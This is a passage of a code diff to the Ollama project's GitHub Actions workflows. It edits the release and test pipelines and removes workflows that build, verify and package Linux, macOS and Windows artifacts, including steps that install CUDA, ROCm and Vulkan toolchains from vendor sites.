-            tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd -19 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst) &
-          done
-          wait
-      - uses: actions/upload-artifact@v4
-        with:
-          name: bundles-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.suffix }}
-          path: |
-            *.tar.zst
 
   # Merge Docker images for the same flavor into a single multi-arch manifest
   docker-merge-push:
     strategy:
-      fail-fast: false
       matrix:
         suffix: ['', '-rocm']
     runs-on: linux
@@ -730,7 +499,7 @@ jobs:
   release:
     runs-on: ubuntu-latest
     environment: release
-    needs: [darwin-build, windows-app, docker-build-push]
+    needs: [darwin-build, windows-app, linux-build]
     permissions:
       contents: write
     env:
@@ -745,24 +514,6 @@ jobs:
       - name: Log dist contents
         run: |
           ls -l dist/
-      - name: Copy install scripts to dist
-        run: |
-          cp scripts/install.sh dist/install.sh
-      - name: Verify release artifacts
-        run: |
-          required=(
-            dist/OllamaSetup.exe
-            dist/install.ps1
-            dist/install.sh
-            dist/ollama-windows-amd64.zip
-            dist/ollama-windows-arm64.zip
-          )
-          for payload in "${required[@]}"; do
-            if [ ! -f "$payload" ]; then
-              echo "::error::Missing expected release artifact: $payload"
-              exit 1
-            fi
-          done
       - name: Generate checksum file
         run: find . -type f -not -name 'sha256sum.txt' | xargs sha256sum | tee sha256sum.txt
         working-directory: dist
@@ -785,22 +536,14 @@ jobs:
       - name: Upload release artifacts
         run: |
           pids=()
-          for payload in dist/*.txt dist/*.zip dist/*.tgz dist/*.tar.zst dist/*.exe dist/*.dmg dist/*.ps1 dist/*.sh ; do
+          for payload in dist/*.txt dist/*.zip dist/*.tgz dist/*.tar.zst dist/*.exe dist/*.dmg ; do
             echo "Uploading $payload"
             gh release upload ${GITHUB_REF_NAME} $payload --clobber &
-            pids+=($!)
+            pids[$!]=$!
             sleep 1
           done
           echo "Waiting for uploads to complete"
-          failed=0
-          for pid in "${pids[@]}"; do
-            if ! wait $pid; then
-              echo "::error::Upload failed (pid $pid)"
-              failed=1
-            fi
+          for pid in "${pids[*]}"; do
+            wait $pid
           done
-          if [ $failed -ne 0 ]; then
-            echo "One or more uploads failed"
-            exit 1
-          fi
           echo "done"

.github/workflows/test-install.yaml

@@ -1,22 +0,0 @@
-name: test-install
-
-on:
-  pull_request:
-    paths:
-      - 'scripts/install.sh'
-      - '.github/workflows/test-install.yaml'
-
-jobs:
-  test:
-    strategy:
-      matrix:
-        os: [ubuntu-latest, macos-latest]
-    runs-on: ${{ matrix.os }}
-    steps:
-      - uses: actions/checkout@v4
-      - name: Run install script
-        run: sh ./scripts/install.sh
-        env:
-          OLLAMA_NO_START: 1 # do not start app
-      - name: Verify ollama is available
-        run: ollama --version

.github/workflows/test-llamacpp-update.yaml

@@ -1,622 +0,0 @@
-name: test-llamacpp-update
-
-# PR validation artifacts from this workflow are intentionally unsigned and not
-# notarized. They are for llama.cpp update testing only and must not be
-# published as release artifacts.
-
-on:
-  pull_request:
-    paths:
-      - 'LLAMA_CPP_VERSION'
-
-permissions:
-  contents: read
-
-env:
-  CGO_CFLAGS: '-O3'
-  CGO_CXXFLAGS: '-O3'
-
-jobs:
-  setup-environment:
-    runs-on: ubuntu-latest
-    outputs:
-      GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
-      VERSION: ${{ steps.goflags.outputs.VERSION }}
-      vendorsha: ${{ steps.goflags.outputs.vendorsha }}
-    steps:
-      - uses: actions/checkout@v4
-      - name: Set environment
-        id: goflags
-        shell: bash
-        run: |
-          set -euo pipefail
-          VERSION="0.0.0-llamacpp-${GITHUB_SHA::7}"
-          {
-            echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
-            echo "VERSION=${VERSION}"
-            echo "vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION)"
-          } >>"${GITHUB_OUTPUT}"
-
-  darwin-build:
-    runs-on: macos-26-xlarge
-    needs: setup-environment
-    env:
-      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
-      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
-      CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
-      CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
-      CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions/setup-go@v5
-        with:
-          go-version-file: go.mod
-          cache-dependency-path: |
-            go.sum
-            LLAMA_CPP_VERSION
-            MLX_VERSION
-            MLX_C_VERSION
-      - name: Build unsigned Darwin runtime
-        run: ./scripts/build_darwin.sh build package
-      - name: Log build results
-        run: ls -l dist/
-      - uses: actions/upload-artifact@v4
-        with:
-          name: ollama-darwin.tgz
-          path: dist/ollama-darwin.tgz
-          compression-level: 0
-
-  # Build payload export stages independently and combine the exported
-  # filesystem artifacts below. This preserves parallelism without Docker
-  # registry credentials or oversized GitHub layer caches.
-  linux-payloads:
-    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
-    needs: setup-environment
-    strategy:
-      fail-fast: false
-      matrix:
-        include:
-          - arch: amd64
-            target: publish-llama-server-cpu
-            payload: cpu
-          - arch: amd64
-            target: publish-llama-server-cuda_v12
-            payload: cuda_v12
-          - arch: amd64
-            target: publish-llama-server-cuda_v13
-            payload: cuda_v13
-          - arch: amd64
-            target: publish-llama-server-rocm_v7_2
-            payload: rocm_v7_2
-          - arch: amd64
-            target: publish-llama-server-vulkan
-            payload: vulkan
-          - arch: arm64
-            target: publish-llama-server-cpu
-            payload: cpu
-          - arch: arm64
-            target: publish-llama-server-cuda_v12
-            payload: cuda_v12
-          - arch: arm64
-            target: publish-llama-server-cuda_v13
-            payload: cuda_v13
-          - arch: arm64
-            target: publish-llama-server-cuda_jetpack5
-            payload: cuda_jetpack5
-          - arch: arm64
-            target: publish-llama-server-cuda_jetpack6
-            payload: cuda_jetpack6
-    steps:
-      - uses: actions/checkout@v4
-      - uses: docker/setup-buildx-action@v3
-      - uses: docker/build-push-action@v6
-        with:
-          context: .
-          platforms: linux/${{ matrix.arch }}
-          target: ${{ matrix.target }}
-          provenance: false
-          sbom: false
-          build-args: |
-            GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
-            CGO_CFLAGS=${{ env.CGO_CFLAGS }}
-            CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
-            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
-            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
-          outputs: type=local,dest=${{ runner.temp }}/payload
-      - name: Pack Linux payload
-        shell: bash
-        run: |
-          set -euo pipefail
-          tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst"
-      - uses: actions/upload-artifact@v4
-        with:
-          name: linux-payload-${{ matrix.arch }}-${{ matrix.payload }}
-          path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst
-          compression-level: 0
-
-  linux-go:
-    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
-    needs: setup-environment
-    strategy:
-      fail-fast: false
-      matrix:
-        arch: [amd64, arm64]
-    steps:
-      - uses: actions/checkout@v4
-      - uses: docker/setup-buildx-action@v3
-      - uses: docker/build-push-action@v6
-        with:
-          context: .
-          platforms: linux/${{ matrix.arch }}
-          target: publish-go
-          provenance: false
-          sbom: false
-          build-args: |
-            GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
-            CGO_CFLAGS=${{ env.CGO_CFLAGS }}
-            CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
-            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
-            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
-          outputs: type=local,dest=${{ runner.temp }}/payload
-      - name: Pack Linux Go payload
-        shell: bash
-        run: |
-          set -euo pipefail
-          tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst"
-      - uses: actions/upload-artifact@v4
-        with:
-          name: linux-payload-${{ matrix.arch }}-go
-          path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst
-          compression-level: 0
-
-  # MLX payloads are intentionally excluded from this workflow; the Dockerfile
-  # still exposes publish-mlx for a separate MLX-specific workflow.
-  linux-bundles:
-    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
-    needs: [linux-payloads, linux-go]
-    strategy:
-      fail-fast: false
-      matrix:
-        arch: [amd64, arm64]
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions/download-artifact@v4
-        with:
-          pattern: linux-payload-${{ matrix.arch }}-*
-          path: ${{ runner.temp }}/payloads
-          merge-multiple: true
-      - name: Assemble Linux payload tree
-        shell: bash
-        run: |
-          set -euo pipefail
-          src="${{ runner.temp }}/payloads"
-          arch="${{ matrix.arch }}"
-          dest="dist/linux-${arch}"
-          copy_payload() {
-            local name="$1"
-            local payload="${src}/linux-payload-${arch}-${name}.tar.zst"
-            if [ ! -f "${payload}" ]; then
-              echo "missing payload ${payload}"
-              exit 1
-            fi
-            zstd -d <"${payload}" | tar -C "${dest}" -xf -
-          }
-
-          mkdir -p "${dest}"
-          copy_payload go
-          copy_payload cpu
-          copy_payload cuda_v12
-          copy_payload cuda_v13
-          if [ "${arch}" = "amd64" ]; then
-            copy_payload vulkan
-            copy_payload rocm_v7_2
-          else
-            copy_payload cuda_jetpack5
-            copy_payload cuda_jetpack6
-          fi
-
-          ./scripts/deduplicate_cuda_libs.sh "${dest}"
-      - name: Verify Linux build payloads
-        shell: bash
-        run: |
-          set -euo pipefail
-          base="dist/linux-${{ matrix.arch }}"
-          for payload in \
-            "${base}/bin/ollama" \
-            "${base}/lib/ollama/llama-server"
-          do
-            [ -f "${payload}" ] || { echo "missing ${payload}"; exit 1; }
-          done
-      - name: Create archive input lists
-        shell: bash
-        run: |
-          set -euo pipefail
-          for COMPONENT in bin/* lib/ollama/*; do
-            case "${COMPONENT}" in
-              bin/ollama*)              echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/*.so*)         echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/cuda_v*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/vulkan*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/mlx*)          echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
-              lib/ollama/include*)      echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
-              lib/ollama/cuda_jetpack5) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack5.tar.in ;;
-              lib/ollama/cuda_jetpack6) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack6.tar.in ;;
-              lib/ollama/rocm_v*)       echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-rocm.tar.in ;;
-            esac
-          done
-        working-directory: dist/linux-${{ matrix.arch }}
-      - name: Log archive input lists
-        shell: bash
-        run: |
-          set -euo pipefail
-          for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
-            echo "${ARCHIVE}"
-            cat "${ARCHIVE}"
-          done
-      - name: Create Linux archives
-        shell: bash
-        run: |
-          set -euo pipefail
-          for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
-            tar c -C dist/linux-${{ matrix.arch }} -T "${ARCHIVE}" --owner 0 --group 0 | zstd -19 -T0 >"$(basename "${ARCHIVE//.*/}.tar.zst")" &
-          done
-          wait
-      - uses: actions/upload-artifact@v4
-        with:
-          name: ollama-linux-${{ matrix.arch }}.tar.zst
-          path: ollama-linux-${{ matrix.arch }}.tar.zst
-          compression-level: 0
-      - if: matrix.arch == 'amd64'
-        uses: actions/upload-artifact@v4
-        with:
-          name: ollama-linux-amd64-rocm.tar.zst
-          path: ollama-linux-amd64-rocm.tar.zst
-          compression-level: 0
-      - if: matrix.arch == 'arm64'
-        uses: actions/upload-artifact@v4
-        with:
-          name: ollama-linux-arm64-jetpack5.tar.zst
-          path: ollama-linux-arm64-jetpack5.tar.zst
-          compression-level: 0
-      - if: matrix.arch == 'arm64'
-        uses: actions/upload-artifact@v4
-        with:
-          name: ollama-linux-arm64-jetpack6.tar.zst
-          path: ollama-linux-arm64-jetpack6.tar.zst
-          compression-level: 0
-
-  windows-depends:
-    needs: setup-environment
-    strategy:
-      fail-fast: false
-      matrix:
-        os: [windows]
-        arch: [amd64]
-        preset: ['CPU']
-        build-steps: ['cpu cpuArm64']
-        include:
-          - os: windows
-            arch: amd64
-            preset: 'CUDA 12'
-            build-steps: cuda12
-            install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
-            cuda-components:
-              - '"cudart"'
-              - '"nvcc"'
-              - '"cublas"'
-              - '"cublas_dev"'
-            cuda-version: '12.8'
-          - os: windows
-            arch: amd64
-            preset: 'CUDA 13'
-            build-steps: cuda13
-            install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
-            cuda-components:
-              - '"cudart"'
-              - '"nvcc"'
-              - '"cublas"'
-              - '"cublas_dev"'
-              - '"crt"'
-              - '"nvvm"'
-              - '"nvptxcompiler"'
-            cuda-version: '13.0'
-          - os: windows
-            arch: amd64
-            preset: 'CUDA 13 ARM64'
-            build-steps: cuda13Arm64Cross
-            install: https://packages.nvidia.com/prerelease/cuda/13.4.0/local_installers/cuda_13.4.0_windows_x86_64.exe
-            cuda-components:
-              - '"cudart"'
-              - '"cudart_cross"'
-              - '"nvcc"'
-              - '"nvcc_cross"'
-              - '"cublas_cross"'
-              - '"cublas_dev"'
-              - '"crt"'
-              - '"nvvm"'
-              - '"nvptxcompiler"'
-            cuda-version: '13.4'
-          - os: windows
-            arch: amd64
-            preset: 'ROCm 7'
-            build-steps: rocm7
-            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
-            rocm-version: '7.1'
-          - os: windows
-            arch: amd64
-            preset: Vulkan
-            build-steps: vulkan
-            install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
-    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
-    env:
-      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
-      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
-    steps:
-      - name: Install system dependencies
-        run: |
-          choco install -y --no-progress ccache ninja
-          if (Get-Command ccache -ErrorAction SilentlyContinue) {
-            ccache -o cache_dir=${{ github.workspace }}\.ccache
-          }
-      - if: matrix.preset == 'CPU'
-        name: Install Windows ARM64 cross compiler
-        run: |
-          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
-          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
-          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
-          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
-            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
-          }
-      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
-        id: cache-install
-        uses: actions/cache/restore@v4
-        with:
-          path: |
-            C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
-            C:\Program Files\AMD\ROCm
-            C:\VulkanSDK
-          key: ${{ matrix.install }}
-      - if: startsWith(matrix.preset, 'CUDA ')
-        name: Install CUDA ${{ matrix.cuda-version }}
-        run: |
-          $ErrorActionPreference = "Stop"
-          $ProgressPreference = 'SilentlyContinue'
-          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
-            for ($attempt = 1; $attempt -le 3; $attempt++) {
-              try {
-                Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
-                break
-              } catch {
-                if ($attempt -eq 3) { throw }
-                Write-Host "CUDA installer download attempt $attempt failed: $($_.Exception.Message); retrying in 15s"
-                Start-Sleep -Seconds 15
-              }
-            }
-            $subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
-            Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
-          }
-
-          $cudaPath = (Resolve-Path "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\*").path
-          echo "$cudaPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
-      - if: startsWith(matrix.preset, 'ROCm')
-        name: Install ROCm ${{ matrix.rocm-version }}
-        run: |
-          $ErrorActionPreference = "Stop"
-          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
-            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
-            Start-Process -FilePath .\install.exe -ArgumentList '-install' -NoNewWindow -Wait
-          }
-
-          $hipPath = (Resolve-Path "C:\Program Files\AMD\ROCm\*").path
-          echo "$hipPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
-          echo "CC=$hipPath\bin\clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "CXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "HIPCXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "HIP_PLATFORM=amd" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "CMAKE_PREFIX_PATH=$hipPath" | Out-File -FilePath $env:GITHUB_ENV -Append
-      - if: matrix.preset == 'Vulkan'
-        name: Install Vulkan
-        run: |
-          $ErrorActionPreference = "Stop"
-          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
-            Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
-            Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
-          }
-
-          $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
-          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
-          if (Test-Path $vulkanRuntime) {
-            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
-          }
-          echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
-          echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
-      - if: ${{ !cancelled() && matrix.preset != 'CPU' && steps.cache-install.outputs.cache-hit != 'true' }}
-        uses: actions/cache/save@v4
-        with:
-          path: |
-            C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
-            C:\Program Files\AMD\ROCm
-            C:\VulkanSDK
-          key: ${{ matrix.install }}
-      - uses: actions/checkout@v4
-      - uses: actions/cache@v4
-        with:
-          path: ${{ github.workspace }}\.ccache
-          key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
-      - name: Build Windows dependencies
-        run: |
-          Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
-          Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
-          $steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
-          ./scripts/build_windows.ps1 @steps
-        env:
-          CMAKE_GENERATOR: Ninja
-      - name: Log build results
-        run: |
-          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
-      - if: matrix.preset == 'CPU'
-        name: Verify Windows CPU payloads
-        shell: bash
-        run: |
-          set -euo pipefail
-          for payload in \
-            dist/windows-amd64/lib/ollama/llama-server.exe \
-            dist/windows-arm64/lib/ollama/llama-server.exe
-          do
-            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
-          done
-      - uses: actions/upload-artifact@v4
-        with:
-          name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
-          path: dist\*
-          compression-level: 0
-
-  windows-build:
-    runs-on: windows
-    needs: setup-environment
-    env:
-      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
-      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
-    steps:
-      - name: Install clang and gcc-compat
-        run: |
-          $ErrorActionPreference = "Stop"
-          Set-ExecutionPolicy Bypass -Scope Process -Force
-          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
-          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
-          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
-          echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
-          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
-            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
-          }
-      - uses: actions/checkout@v4
-      - uses: actions/setup-go@v5
-        with:
-          go-version-file: go.mod
-          cache-dependency-path: |
-            go.sum
-            LLAMA_CPP_VERSION
-            MLX_VERSION
-            MLX_C_VERSION
-      - name: Verify gcc is actually clang
-        run: |
-          $ErrorActionPreference='Continue'
-          $version=& gcc -v 2>&1
-          $version=$version -join "`n"
-          echo "gcc is $version"
-          if ($version -notmatch 'clang') {
-            echo "ERROR: GCC must be clang for proper utf16 handling"
-            exit 1
-          }
-          $ErrorActionPreference='Stop'
-      - name: Setup Node.js
-        uses: actions/setup-node@v4
-        with:
-          node-version: "20"
-      - name: Build Windows binaries and app launchers
-        run: ./scripts/build_windows.ps1 ollama ollamaArm64 app appArm64
-      - name: Verify Windows build payloads
-        shell: bash
-        run: |
-          set -euo pipefail
-          for payload in \
-            dist/windows-amd64/ollama.exe \
-            dist/windows-arm64/ollama.exe
-          do
-            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
-          done
-      - name: Log build results
-        run: |
-          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
-      - uses: actions/upload-artifact@v4
-        with:
-          name: build-windows-amd64
-          path: dist\*
-          compression-level: 0
-
-  windows-package:
-    runs-on: windows
-    needs: [setup-environment, windows-build, windows-depends]
-    env:
-      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
-      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions/setup-go@v5
-        with:
-          go-version-file: go.mod
-          cache-dependency-path: |
-            go.sum
-            LLAMA_CPP_VERSION
-            MLX_VERSION
-            MLX_C_VERSION
-      - uses: actions/download-artifact@v4
-        with:
-          pattern: depends-windows*
-          path: dist
-          merge-multiple: true
-      - uses: actions/download-artifact@v4
-        with:
-          pattern: build-windows*
-          path: dist
-          merge-multiple: true
-      - name: Copy unsigned install script
-        run: Copy-Item -Path .\scripts\install.ps1 -Destination .\dist\install.ps1 -ErrorAction Stop
-      - name: Log dist contents after download
-        run: gci -path .\dist -recurse
-      - name: Verify Windows package inputs
-        shell: bash
-        run: |
-          set -euo pipefail
-          for payload in \
-            dist/windows-amd64/ollama.exe \
-            dist/windows-amd64/lib/ollama/llama-server.exe \
-            dist/windows-arm64/ollama.exe \
-            dist/windows-arm64/lib/ollama/llama-server.exe
-          do
-            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
-          done
-      - name: Build unsigned Windows installer and zips
-        run: ./scripts/build_windows.ps1 deps installer zip
-      - name: Log contents after build
-        run: |
-          gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
-      - name: Verify Windows package outputs
-        shell: bash
-        run: |
-          set -euo pipefail
-          for payload in \
-            dist/ollama-windows-amd64.zip \
-            dist/ollama-windows-arm64.zip \
-            dist/ollama-windows-amd64-rocm.zip \
-            dist/OllamaSetup.exe \
-            dist/install.ps1
-          do
-            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
-          done
-      - uses: actions/upload-artifact@v4
-        with:
-          name: ollama-windows-amd64.zip
-          path: dist/ollama-windows-amd64.zip
-          compression-level: 0
-      - uses: actions/upload-artifact@v4
-        with:
-          name: ollama-windows-arm64.zip
-          path: dist/ollama-windows-arm64.zip
-          compression-level: 0
-      - uses: actions/upload-artifact@v4
-        with:
-          name: ollama-windows-amd64-rocm.zip
-          path: dist/ollama-windows-amd64-rocm.zip
-          compression-level: 0
-      - uses: actions/upload-artifact@v4
-        with:
-          name: OllamaSetup.exe
-          path: dist/OllamaSetup.exe
-          compression-level: 0
-      - uses: actions/upload-artifact@v4
-        with:
-          name: install.ps1
-          path: dist/install.ps1
-          compression-level: 0

.github/workflows/test.yaml

@@ -22,8 +22,7 @@ jobs:
     runs-on: ubuntu-latest
     outputs:
       changed: ${{ steps.changes.outputs.changed }}
-      app_changed: ${{ steps.changes.outputs.app_changed }}
-      enginehash: ${{ steps.changes.outputs.enginehash }}
+      vendorsha: ${{ steps.changes.outputs.vendorsha }}
     steps:
       - uses: actions/checkout@v4
         with:
@@ -38,42 +37,8 @@ jobs:
               | xargs python3 -c "import sys; from pathlib import Path; print(any(Path(x).match(glob) for x in sys.argv[1:] for glob in '$*'.split(' ')))"
           }
 
-          echo changed=$(changed \
-            'CMakeLists.txt' \
-            'CMakePresets.json' \
-            'cmake/**' \
-            'cmake/**/*' \
-            'llama/server/**/*' \
-            'llama/compat/**/*' \
-            'LLAMA_CPP_VERSION' \
-            'MLX_VERSION' \
-            'MLX_C_VERSION' \
-            'llama/llama.cpp/**/*' \
-            'ml/backend/ggml/ggml/**/*' \
-            'x/imagegen/mlx/**' \
-            'x/imagegen/mlx/**/*' \
-            '.github/**/*') | tee -a $GITHUB_OUTPUT
-          echo app_changed=$(changed 'app/**' 'app/**/*') | tee -a $GITHUB_OUTPUT
-          echo enginehash=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
-
-  patches:
-    strategy:
-      matrix:
-        os: [ubuntu-latest, windows-latest]
-    runs-on: ${{ matrix.os }}
-    steps:
-      - uses: actions/checkout@v4
-      - name: Verify patches apply cleanly
-        shell: bash
-        run: |
-          cmake -S llama/server -B "$RUNNER_TEMP/llama-server-patch-check" \
-            -DCMAKE_BUILD_TYPE=Release \
-            -DBUILD_SHARED_LIBS=ON \
-            -DGGML_BACKEND_DL=ON \
-            -DGGML_NATIVE=OFF \
-            -DGGML_OPENMP=OFF \
-            -DGGML_CPU_ALL_VARIANTS=ON \
-            -DOLLAMA_RUNNER_DIR=
+          echo changed=$(changed 'llama/llama.cpp/**/*' 'ml/backend/ggml/ggml/**/*') | tee -a $GITHUB_OUTPUT
+          echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
 
   linux:
     needs: [changes]
@@ -82,42 +47,19 @@ jobs:
       matrix:
         include:
           - preset: CPU
-            superbuild_target: ollama-local
-            superbuild_dir: build/local-superbuild
-            superbuild_args: ''
-            expected_payload: lib/ollama/llama-server
-            install-go: true
           - preset: CUDA
             container: nvidia/cuda:13.0.0-devel-ubuntu22.04
-            superbuild_target: ollama-llama-server-cuda_v13
-            superbuild_dir: build/local-superbuild-cuda_v13
-            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87'
-            expected_payload: lib/ollama/cuda_v13/libggml-cuda.so
+            flags: '-DCMAKE_CUDA_ARCHITECTURES=87'
           - preset: ROCm
-            container: rocm/dev-ubuntu-22.04:7.2.1
+            container: rocm/dev-ubuntu-22.04:6.1.2
             extra-packages: rocm-libs
-            superbuild_target: ollama-llama-server-rocm_v7_2
-            superbuild_dir: build/local-superbuild-rocm_v7_2
-            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
-            expected_payload: lib/ollama/rocm_v7_2/libggml-hip.so
+            flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
           - preset: Vulkan
             container: ubuntu:22.04
             extra-packages: >
               mesa-vulkan-drivers vulkan-tools
               libvulkan1 libvulkan-dev
-              vulkan-sdk spirv-headers cmake ccache g++ make
-            superbuild_target: ollama-llama-server-vulkan
-            superbuild_dir: build/local-superbuild-vulkan
-            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
